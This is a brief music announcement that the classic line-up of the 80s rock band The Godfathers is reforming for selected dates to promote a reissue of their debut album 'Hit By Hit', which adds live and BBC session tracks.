After 19 years away from the world's stage the original classic
line-up of The Godfathers is reforming to play some selected dates to
promote the reissue of their seminal debut album 'Hit By Hit'. The
influential 80s band were regarded as the finest exponents of
Brit-based rock 'n' roll and were unanimously hailed as one of the
finest live acts in the world.
The Hit By Hit album comprises all the single recordings from the
band's early career on their own independent label Corporate Image,
augmented with studio and live extra tracks culled from international
live shows and BBC Radio One Sessions.
